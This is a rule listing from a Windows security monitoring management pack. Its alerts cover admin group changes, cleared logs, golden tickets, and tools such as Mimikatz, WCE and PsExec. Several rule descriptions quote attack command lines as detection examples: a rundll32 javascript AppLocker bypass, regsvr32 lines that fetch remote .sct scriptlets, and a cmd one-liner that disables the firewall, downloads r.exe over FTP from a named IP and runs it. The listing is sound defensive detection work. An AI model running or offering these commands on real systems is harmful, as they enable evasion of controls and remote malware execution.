All Rules in Security.Monitoring Management Pack

 DisplayNameDescriptionIDTargetCategoryEnabledInstance NameCounter NameFrequencyEvent_IDEvent SourceAlert GenerateAlert SeverityAlert PriorityRemotableEvent Log
SecurityMonitoring.Event.FailedLoginFailed RDP LogonSecurityMonitoring.Event.FailedLoginMicrosoft.Windows.Server.OperatingSystemCustomTrue00TrueWarningNormalTrueSecurity
SecurityMonitoring.Failed.Login.Attempts.CollectionCollect Failed Login AttemtsFailed Login AttemptsSecurityMonitoring.Failed.Login.Attempts.CollectionMicrosoft.Windows.ComputerEventCollectionTrue00FalseTrue
SecurityMonitoringMP.Accounts.DomainAdminChangeSecurity Monitoring: Domain Admins membership has changedSecurityMonitoringMP.Accounts.DomainAdminChangeMicrosoft.Windows.Server.DC.ComputerAlertTrue00TrueErrorNormalTrueSecurity
SecurityMonitoringMP.Accounts.EnterpriseAdminChangeSecurity Monitoring: Enterprise Admins membership has changedSecurityMonitoringMP.Accounts.EnterpriseAdminChangeMicrosoft.Windows.Server.DC.ComputerAlertTrue00TrueErrorNormalTrueSecurity
SecurityMonitoringMP.Accounts.LocalAdminChangeSecurity Monitoring: Local Administrators Group was ModifiedSecurityMonitoringMP.Accounts.LocalAdminChangeMicrosoft.Windows.Server.OperatingSystemAlertTrue00TrueErrorNormalTrueSecurity
SecurityMonitoringMP.Accounts.SchemaAdminChangeSecurity Monitoring: Schema Admins membership has changedSecurityMonitoringMP.Accounts.SchemaAdminChangeMicrosoft.Windows.Server.DC.ComputerAlertTrue00TrueErrorNormalTrueSecurity
SecurityMonitoringMP.APPLocker.MimikatzSecurity Monitoring: Mimikatz in useMimikatz is a credential theft tool used for pass the hash attacks. This should not be present in your environment.SecurityMonitoringMP.APPLocker.MimikatzMicrosoft.Windows.ComputerAlertFalse00TrueErrorNormalTrueMicrosoft-Windows-AppLocker/EXE and DLL
SecurityMonitoringMP.APPLocker.ProhibitedAppSecurity Monitoring: Prohibited App in UseSecurityMonitoringMP.APPLocker.ProhibitedAppMicrosoft.Windows.ComputerAlertTrue00TrueErrorNormalTrueMicrosoft-Windows-AppLocker/EXE and DLL
SecurityMonitoringMP.APPLocker.PSExecSecurity Monitoring: PSEXEC in UseSecurityMonitoringMP.APPLocker.PSExecMicrosoft.Windows.ComputerAlertFalse08003TrueErrorNormalTrueMicrosoft-Windows-AppLocker/EXE and DLL
SecurityMonitoringMP.APPLocker.WCESecurity Monitoring: WCE in UseWCE is a credential theft too used to perform pass the hash attacks and enumerate wdigest passwords if this is turned on in your environment. Other than penetration testing, there is little reason for this tool to exist in your environment. This should be investigated immediately.SecurityMonitoringMP.APPLocker.WCEMicrosoft.Windows.ComputerAlertFalse08003TrueErrorNormalTrueMicrosoft-Windows-AppLocker/EXE and DLL
SecurityMonitoringMP.APPLocker.WinRarSecurity Monitoring: WinRar in useSecurityMonitoringMP.APPLocker.WinRarMicrosoft.Windows.Server.OperatingSystemAlertFalse08003TrueErrorNormalTrueMicrosoft-Windows-AppLocker/EXE and DLL
SecurityMonitoringMP.Event.4688.SuspiciousApplockerJavaSecurity Monitoring: A suspicious process creation (AppLocker bypass) was executedTo bypass restrictive Applocker policies, attackers will implement a specially crafted commandline which makes use of Windows native exe "Rundll32.exe" (required by Windows to load and run code in DLLs and therefore not blocked by Applocker). Rundll32.exe can be used to call javascript to execute arbitrary commands which are not blocked by restrictive Applocker policies. The rundll32.exe syntax is as follows: rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";<code> Events of this nature need to be investigatedSecurityMonitoringMP.Event.4688.SuspiciousApplockerJavaMicrosoft.Windows.Server.OperatingSystemAlertTrue04688TrueErrorNormalTrueSecurity
SecurityMonitoringMP.Event.4688.SuspiciousApplockerRegsvrSecurity Monitoring: A suspicious process creation (AppLocker bypass using regsvr32) was execuitedAppLocker Bypass Techniques using Regsvr32.exe (greg) Note: The following is already contained in SCUBA_RULE_Applocker_Bypass Examples: regsvr32 /s /n /u /i:file.sct scrobj.dll regsvr32 /s /n /u /i:http://server/file.sct scrobj.dll regsvr32 /s /n /u /i:http://server/file.jpg scrobj.dllSecurityMonitoringMP.Event.4688.SuspiciousApplockerRegsvrMicrosoft.Windows.Server.OperatingSystemAlertTrue04688TrueErrorNormalTrueSecurity
SecurityMonitoringMP.Event.4688.SuspiciousCMDSecurity Monitoring: A suspicious process creation (cmd) was executedThese events should be investigated. We are tracking 4688 events with known strings often found in malicious scripts. While it is possible that there are normal conditions for this rule, any alert should be investigated immediately.SecurityMonitoringMP.Event.4688.SuspiciousCMDMicrosoft.Windows.Server.OperatingSystemAlertTrue04688TrueErrorNormalTrueSecurity
SecurityMonitoringMP.Event.4688.SuspiciousFTPCommandSecurity Monitoring: A suspicious process creation (FTP script execution via echo command) was executedDetection of FTP Scripts created via the Echo command: Based on several cases where compromised SQLService was used and SQL Agent Jobs were created to invoke ‘xp_cmdshell’ which in turn created and launched FTP scripts to download and run malware… Example of the commandline used to create and run ftp scripts: "Command Line ": "\"\"\"C:\\Windows\\System32\\cmd.exe\"\" /c \"\"net1 stop sharedaccess&echo open 222.186.58.12 >> love.txt&echo 123>> love.txt&echo 123>> love.txt&echo binary >> love.txt&echo get r.exe >> love.txt&echo bye >> love.txt&ftp -s:love.txt&p -s:love.txt&r.exe&r.exe&del love.txt /q /f&exit\"\"\" This type of event is rare and should be investigatedSecurityMonitoringMP.Event.4688.SuspiciousFTPCommandMicrosoft.Windows.Server.OperatingSystemAlertTrue04688TrueErrorNormalTrueSecurity
SecurityMonitoringMP.Event.4688.SuspiciousRegSecurity Monitoring: A suspicious process creation (registry) was executedThis rule inventories 4688 events and flags alerts for manually added registry keys. These are rare events and should be investigated when they appear.SecurityMonitoringMP.Event.4688.SuspiciousRegMicrosoft.Windows.Server.OperatingSystemAlertTrue04688TrueErrorNormalTrueSecurity
SecurityMonitoringMP.Event.4688.SuspiciousWindowsPositionSecurity Monitoring; A suspicious process creation (malicious use of WindowPosition with PowerShell) was executedSee: https://technet.microsoft.com/en-us/library/cc957410.aspx The WindowPosition value specifies the position of the command window on the user's screen. The value of this entry is an 8-byte hexadecimal value. The first four bytes (high word) represent the position of the window on the X (horizontal) axis. The last four bytes (low word) represent the position of the window on the Y (vertical) axis. When the WindowPosition value is set to 201329664, (Hex: 0x0c00 0c00) this places the console in a non-visible section of the user’s screen (where X axis=0c00 and the Y axis=0c00) in an area that is hidden from view below the visible start menu/taskbar Other console apps that can be modified to make the screen non-visible SecurityMonitoringMP.Event.4688.SuspiciousWindowsPositionMicrosoft.Windows.Server.OperatingSystemAlertTrue04688TrueErrorNormalTrueSecurity
SecurityMonitoringMP.Event.GoldenTicketDetectionSecurity Monitoring: Possible Golden Ticket in UseSecurityMonitoringMP.Event.GoldenTicketDetectionMicrosoft.Windows.Server.DC.ComputerAlertTrue04769TrueErrorNormalTrueSecurity
SecurityMonitoringMP.Event.GPOCreationSecurity Monitoring: A New GPO has been createdSecurityMonitoringMP.Event.GPOCreationMicrosoft.Windows.Server.DC.ComputerAlertTrue00TrueErrorNormalTrueSecurity
SecurityMonitoringMP.Event.GPODelectionSecurity Monitoring: A GPO was DeletedSecurityMonitoringMP.Event.GPODelectionMicrosoft.Windows.Server.DC.ComputerAlertTrue00TrueErrorNormalTrueSecurity
SecurityMonitoringMP.Event.LocalAccountCreatedonServerSecurity Monitoring: Local account created on a member serverIn a normal environment, this will only happen when the system is setup. You should not see this event on production member servers at allSecurityMonitoringMP.Event.LocalAccountCreatedonServerMicrosoft.Windows.Server.OperatingSystemAlertTrue00TrueErrorNormalTrueSecurity
SecurityMonitoringMP.Event.ScheduledTaskCreationSecurity Monitoring: Scheduled Task was CreatedSecurityMonitoringMP.Event.ScheduledTaskCreationMicrosoft.Windows.Server.OperatingSystemAlertTrue0106TrueErrorNormalTrueMicrosoft-Windows-TaskScheduler/Operational
SecurityMonitoringMP.Event.SecurityLogClearedSecurity Monitoring: Security Log was clearedClearing the security log is something an attacker will do to cover their tracks. By default, logs cycle. If the log has been cleared, this should be investigated.SecurityMonitoringMP.Event.SecurityLogClearedMicrosoft.Windows.Server.OperatingSystemAlertTrue00TrueErrorNormalTrueSecurity
SecurityMonitoringMP.Event.ServiceCreatedonDCSecurity Monitoring: A Service was created on a domain controllerMonitors domain controller system logs for 7045 event ids (service created). Under normal state, this should never happen.SecurityMonitoringMP.Event.ServiceCreatedonDCMicrosoft.Windows.Server.DC.ComputerAlertTrue00TrueErrorNormalTrueSystem
SecurityMonitoringMP.Event.ServiceCreatedonMemberServerSecurity Monitoring: A service was created on a member serverI would consider enabling this rule for any production server that is in a steady state. No services should be created at this point, and any event where one is created would be worthy of investigation.SecurityMonitoringMP.Event.ServiceCreatedonMemberServerMicrosoft.Windows.Server.OperatingSystemAlertFalse00TrueErrorNormalTrueSystem
SecurityMonitoringMP.Event.ServiceKnownThreatSecurity Monitoring: Service associated with a known threat was created on a member serverThis is a special case of event ID 7045 targeting the names of services that are created by known tools such as windows credential editor, psexec, etc. If you turned on the generic 7045 rule, this alert should be disabled as it will generate duplicate events.SecurityMonitoringMP.Event.ServiceKnownThreatMicrosoft.Windows.Server.OperatingSystemAlertTrue07045TrueErrorNormalTrueSystem
SecurityMonitoringMP.Event.SmartCardDisabledSecurity Monitoring: A Smart Card has been Disabled to Allow for Interactive LogonSomeone has purposely desected the option to disable smart card authentication for the account. Verify that this has in fact been approved.SecurityMonitoringMP.Event.SmartCardDisabledMicrosoft.Windows.Server.DC.ComputerAlertTrue04738TrueErrorNormalTrueSecurity
SecurityMonitoringMP.Event.SoftwareInstallOnServerSecurity Monitoring: Software was Installed on a ServerThis rule look sfor 11707 events in the application log and alerts accordingly. Note that patches will likely be flagged with this rule, so it should be turned on if there is a good maintenance process in placeSecurityMonitoringMP.Event.SoftwareInstallOnServerMicrosoft.Windows.Server.OperatingSystemAlertFalse011707MsiInstallerTrueWarningNormalTrueApplication
SecurityMonitoringMP.Event.SoftwareRemovedFromServerSecurity Monitoring: Software was Removed from a ServerThis may not be a security event and is disabled by default. This could be enabled and edited to target security software in customer environments.SecurityMonitoringMP.Event.SoftwareRemovedFromServerMicrosoft.Windows.Server.OperatingSystemAlertFalse011724MsiInstallerTrueWarningNormalTrueApplication
SecurityMonitoringMP.Event.SystemLogClearedSecurity Monitoring: The system Log was clearedSecurityMonitoringMP.Event.SystemLogClearedMicrosoft.Windows.Server.OperatingSystemAlertTrue00TrueErrorNormalTrueSystem
SecurityMonitoringMP.Event.SystemPoweredOffSecurity Monitoring: A system has been powered offThis is not necessarily a security event, and as such it can generate noise and is off by default. SecurityMonitoringMP.Event.SystemPoweredOffMicrosoft.Windows.Server.OperatingSystemAlertFalse01074User32TrueWarningNormalTrueSystem
SecurityMonitoringMP.Event.SystemRestartedSecurity Monitoring: A system was restartedThis is not necessarily a security event, and as such this is disabled by default, but it can be useful in tracking security events or bad business practice.SecurityMonitoringMP.Event.SystemRestartedMicrosoft.Windows.Server.OperatingSystemAlertFalse01074User32TrueWarningNormalTrueSystem
SecurityMonitoringMP.Event.UnexpectedShutdownSecurity Monitoring: Unexpected System ShutdownThis checks the system log for unexpected shutdown events and generates an alert. While not necessarily related to an attack, these events are potentially worth investigating for health reasons in the environment.SecurityMonitoringMP.Event.UnexpectedShutdownMicrosoft.Windows.Server.OperatingSystemAlertFalse00TrueWarningNormalTrueSystem
SecurityMonitoringMP.EventCollection.4672Security Monitoring Collection: Event ID 4672SecurityMonitoringMP.EventCollection.4672Microsoft.Windows.Server.OperatingSystemEventCollectionFalse00FalseTrue
SecurityMonitoringMP.EventCollection.BatchLogonSecurity Monitoring Collection: Event ID 4624 Logon Type 4SecurityMonitoringMP.EventCollection.BatchLogonMicrosoft.Windows.Server.OperatingSystemEventCollectionTrue00FalseTrue
SecurityMonitoringMP.EventCollection.GoldenTicketSecurity Monitoring Event Collection: Event ID 4769 result 0x1FSecurityMonitoringMP.EventCollection.GoldenTicketMicrosoft.Windows.Server.DC.ComputerEventCollectionTrue00FalseTrue
SecurityMonitoringMP.EventCollection.SpecialGroupLogonSecurity Monitoring Collection: Event ID 4694SecurityMonitoringMP.EventCollection.SpecialGroupLogonMicrosoft.Windows.Server.OperatingSystemEventCollectionTrue00FalseTrue
SecurityMonitoringMP.ForwardedEvents.4688.SuspiciousApplockerJavaSecurity Monitoring Forwarded Events: A suspicious process creation (AppLocker bypass) was executedTo bypass restrictive Applocker policies, attackers will implement a specially crafted commandline which makes use of Windows native exe "Rundll32.exe" (required by Windows to load and run code in DLLs and therefore not blocked by Applocker). Rundll32.exe can be used to call javascript to execute arbitrary commands which are not blocked by restrictive Applocker policies. The rundll32.exe syntax is as follows: rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";<code> Events of this nature need to be investigatedSecurityMonitoringMP.ForwardedEvents.4688.SuspiciousApplockerJavaWindowsEventCollectorDiscovery.EventLogCollectorServerAlertTrue04688TrueErrorNormalTrueForwardedEvents
SecurityMonitoringMP.ForwardedEvents.4688.SuspiciousApplockerRegsvrSecurity Monitoring: A suspicious process creation (AppLocker bypass using regsvr32) was execuitedAppLocker Bypass Techniques using Regsvr32.exe (greg) Note: The following is already contained in SCUBA_RULE_Applocker_Bypass Examples: regsvr32 /s /n /u /i:file.sct scrobj.dll regsvr32 /s /n /u /i:http://server/file.sct scrobj.dll regsvr32 /s /n /u /i:http://server/file.jpg scrobj.dllSecurityMonitoringMP.ForwardedEvents.4688.SuspiciousApplockerRegsvrWindowsEventCollectorDiscovery.EventLogCollectorServerAlertTrue04688TrueErrorNormalTrueForwardedEvents
SecurityMonitoringMP.ForwardedEvents.4688.SuspiciousCMDSecurity Monitoring Forwarded Events: A suspicious process creation (cmd) was executedThese events should be investigated. We are tracking 4688 events with known strings often found in malicious scripts. While it is possible that there are normal conditions for this rule, any alert should be investigated immediately.SecurityMonitoringMP.ForwardedEvents.4688.SuspiciousCMDWindowsEventCollectorDiscovery.EventLogCollectorServerAlertTrue04688TrueErrorNormalTrueForwardedEvents
SecurityMonitoringMP.ForwardedEvents.4688.SuspiciousFTPCommandSecurity Monitoring Forwarded Events: A suspicious process creation (FTP script execution via echo command) was executedDetection of FTP Scripts created via the Echo command: Based on several cases where compromised SQLService was used and SQL Agent Jobs were created to invoke ‘xp_cmdshell’ which in turn created and launched FTP scripts to download and run malware… Example of the commandline used to create and run ftp scripts: "Command Line ": "\"\"\"C:\\Windows\\System32\\cmd.exe\"\" /c \"\"net1 stop sharedaccess&echo open 222.186.58.12 >> love.txt&echo 123>> love.txt&echo 123>> love.txt&echo binary >> love.txt&echo get r.exe >> love.txt&echo bye >> love.txt&ftp -s:love.txt&p -s:love.txt&r.exe&r.exe&del love.txt /q /f&exit\"\"\" This type of event is rare and should be investigatedSecurityMonitoringMP.ForwardedEvents.4688.SuspiciousFTPCommandWindowsEventCollectorDiscovery.EventLogCollectorServerAlertTrue04688TrueErrorNormalTrueForwardedEvents
SecurityMonitoringMP.ForwardedEvents.4688.SuspiciousRegSecurity Monitoring Forwarded Events: A suspicious process creation (registry) was executedThis rule inventories 4688 events and flags alerts for manually added registry keys. These are rare events and should be investigated when they appear.SecurityMonitoringMP.ForwardedEvents.4688.SuspiciousRegWindowsEventCollectorDiscovery.EventLogCollectorServerAlertTrue04688TrueErrorNormalTrueForwardedEvents
SecurityMonitoringMP.ForwardedEvents.4688.SuspiciousWindowsPositionSecurity Monitoring Forwarded Events: A suspicious process creation (malicious use of WindowPosition with PowerShell) was executedSee: https://technet.microsoft.com/en-us/library/cc957410.aspx The WindowPosition value specifies the position of the command window on the user's screen. The value of this entry is an 8-byte hexadecimal value. The first four bytes (high word) represent the position of the window on the X (horizontal) axis. The last four bytes (low word) represent the position of the window on the Y (vertical) axis. When the WindowPosition value is set to 201329664, (Hex: 0x0c00 0c00) this places the console in a non-visible section of the user’s screen (where X axis=0c00 and the Y axis=0c00) in an area that is hidden from view below the visible start menu/taskbar Other console apps that can be modified to make the screen non-visible SecurityMonitoringMP.ForwardedEvents.4688.SuspiciousWindowsPositionWindowsEventCollectorDiscovery.EventLogCollectorServerAlertTrue04688TrueErrorNormalTrueForwardedEvents
SecurityMonitoringMP.ForwardedEvents.CredentialSwapSecurity Monitoring Forwarded Events: Potential Credential Swap in ProgressSecurityMonitoringMP.ForwardedEvents.CredentialSwapWindowsEventCollectorDiscovery.EventLogCollectorServerAlertTrue00TrueErrorNormalTrueForwardedEvents
SecurityMonitoringMP.ForwardedEvents.LocalUserCreatedDeletedSecurity Monitoring Forwarded Events: Local User Created or Deleted in Administrator Security GroupSecurityMonitoringMP.ForwardedEvents.LocalUserCreatedDeletedWindowsEventCollectorDiscovery.EventLogCollectorServerAlertTrue00TrueErrorNormalTrueForwardedEvents
SecurityMonitoringMP.ForwardedEvents.PowerSploitSecurity Monitoring Forwarded Events: Invoke-Mimikatz in useIf you're forwarding powershell logging to an event collector, the use of invoke-mimikatz on a desktop will trigger this alert. This indicates the possible compromise of an end user system.SecurityMonitoringMP.ForwardedEvents.PowerSploitWindowsEventCollectorDiscovery.EventLogCollectorServerAlertTrue0800TrueErrorNormalTrueForwardedEvents
SecurityMonitoringMP.ForwardedEvents.ProhibitedAppSecurity Monitoring Forwarded Events: Prohibited App in UseSecurityMonitoringMP.ForwardedEvents.ProhibitedAppWindowsEventCollectorDiscovery.EventLogCollectorServerAlertTrue08003TrueErrorNormalTrueForwardedEvents
SecurityMonitoringMP.ForwardedEvents.PtHTier2Security Monitoring Forwarded Events: Possible PtH Attack in Progress Against Tier 2SecurityMonitoringMP.ForwardedEvents.PtHTier2WindowsEventCollectorDiscovery.EventLogCollectorServerAlertFalse00TrueErrorNormalTrueForwardedEvents
SecurityMonitoringMP.ForwardedEvents.SecurityLogClearedSecurity Monitoring Forwarded Events: Security log cleared on a server configured to forward eventsSecurityMonitoringMP.ForwardedEvents.SecurityLogClearedWindowsEventCollectorDiscovery.EventLogCollectorServerAlertTrue00TrueErrorNormalTrueForwardedEvents
SecurityMonitoringMP.ForwardedEvents.ServiceCreationSecurity Monitoring Forwarded Events: Service Created on systemSecurityMonitoringMP.ForwardedEvents.ServiceCreationWindowsEventCollectorDiscovery.EventLogCollectorServerAlertFalse00TrueErrorNormalTrueForwardedEvents
SecurityMonitoringMP.ForwardedEvents.ServiceCreationKnownThreatsSecurity Monitoring Forwarded Events: Service associated with a known threat was created on a forwarding computerSecurityMonitoringMP.ForwardedEvents.ServiceCreationKnownThreatsWindowsEventCollectorDiscovery.EventLogCollectorServerAlertTrue07045TrueErrorNormalTrueForwardedEvents
SecurityMonitoringMP.ForwardedEvents.SpecialGroupLogonSecurity Monitoring Forwarded Events: Special Group logon eventSecurityMonitoringMP.ForwardedEvents.SpecialGroupLogonWindowsEventCollectorDiscovery.EventLogCollectorServerAlertTrue00TrueErrorNormalTrueForwardedEvents
SecurityMonitoringMP.ForwardedEvents.SystemLogClearedSecurity Monitoring Forwarded Events: System Log was ClearedSecurityMonitoringMP.ForwardedEvents.SystemLogClearedWindowsEventCollectorDiscovery.EventLogCollectorServerAlertTrue00TrueErrorNormalTrueForwardedEvents
SecurityMonitoringMP.GPOMonitoring.EventAndScript.RuleGPO Change Event then run correlation script RuleSecurityMonitoringMP.GPOMonitoring.EventAndScript.RuleMicrosoft.Windows.Server.DC.ComputerCustomTrue00TrueErrorNormalTrue
SecurityMonitoringMP.PowerShellLog.PowerSploitSecurity Monitoring: Invoke-Mimikatz in useIf powerhsell logging is enabled, this will detect output from Powershell exploit tool kitSecurityMonitoringMP.PowerShellLog.PowerSploitMicrosoft.Windows.OperatingSystemAlertTrue0800TrueErrorNormalTrueWindows PowerShell
SecurityMonitoringMP.Pth.CredentialSwapSecurity Monitoring: Potential Credential Swap in ProgressSecurityMonitoringMP.Pth.CredentialSwapMicrosoft.Windows.Server.OperatingSystemAlertTrue00TrueErrorNormalTrueSecurity
SecurityMonitoringMP.Pth.PtHAgainstDCSecurity Monitoring: Possible PtH attack in progress (successful) against DCSecurityMonitoringMP.Pth.PtHAgainstDCMicrosoft.Windows.Server.DC.ComputerAlertFalse00TrueErrorNormalTrueSecurity
SecurityMonitoringMP.Pth.PtHAgainstTier1Security Monitoring: Possible PtH Attack in Progress against tier 1SecurityMonitoringMP.Pth.PtHAgainstTier1Microsoft.Windows.Server.OperatingSystemAlertFalse00TrueErrorNormalTrueSecurity
SecurityMonitoringMP.ThreatHunt.BatchLogonInUseSecurity Monitoring Threat Hunting: Batch Logon in useThis rule checks the security log for event ID 4624 Logon Type 4. Logon type 4 is a batch logon, which essentially means that there are exposed credentials on this system. Investigation should determine which application is using said credentials. Once the applications are remediated, batch logons can be disabled, making your environment more secure.SecurityMonitoringMP.ThreatHunt.BatchLogonInUseMicrosoft.Windows.Server.OperatingSystemAlertTrue00TrueErrorNormalTrueSecurity
SecurityMonitoringMP.ThreatHunt.GoldenTicketSecurity Monitoring Threat Hunting: Kerberos Integrity Check on Decrypted Field Failedhttp://cert.europa.eu/static/WhitePapers/CERT-EU-SWP_14_07_PassTheGolden_Ticket_v1_1.pdf SecurityMonitoringMP.ThreatHunt.GoldenTicketMicrosoft.Windows.Server.DC.ComputerAlertTrue04769TrueErrorNormalTrueSecurity
SecurityMonitoringMP.ThreatHunt.SpecialGroupLogonSecurity Monitoring Threat Hunting: Special Group logon eventThis rule will not generate any noise under normal environment. It requires special groups auditing turned on via GPO as well as the specific memberships to be targeted in the registry. If you've done these tasks, this monitor will alert every time a user that is a member of these SecurityMonitoringMP.ThreatHunt.SpecialGroupLogonMicrosoft.Windows.Server.OperatingSystemAlertTrue00TrueErrorNormalTrueSecurity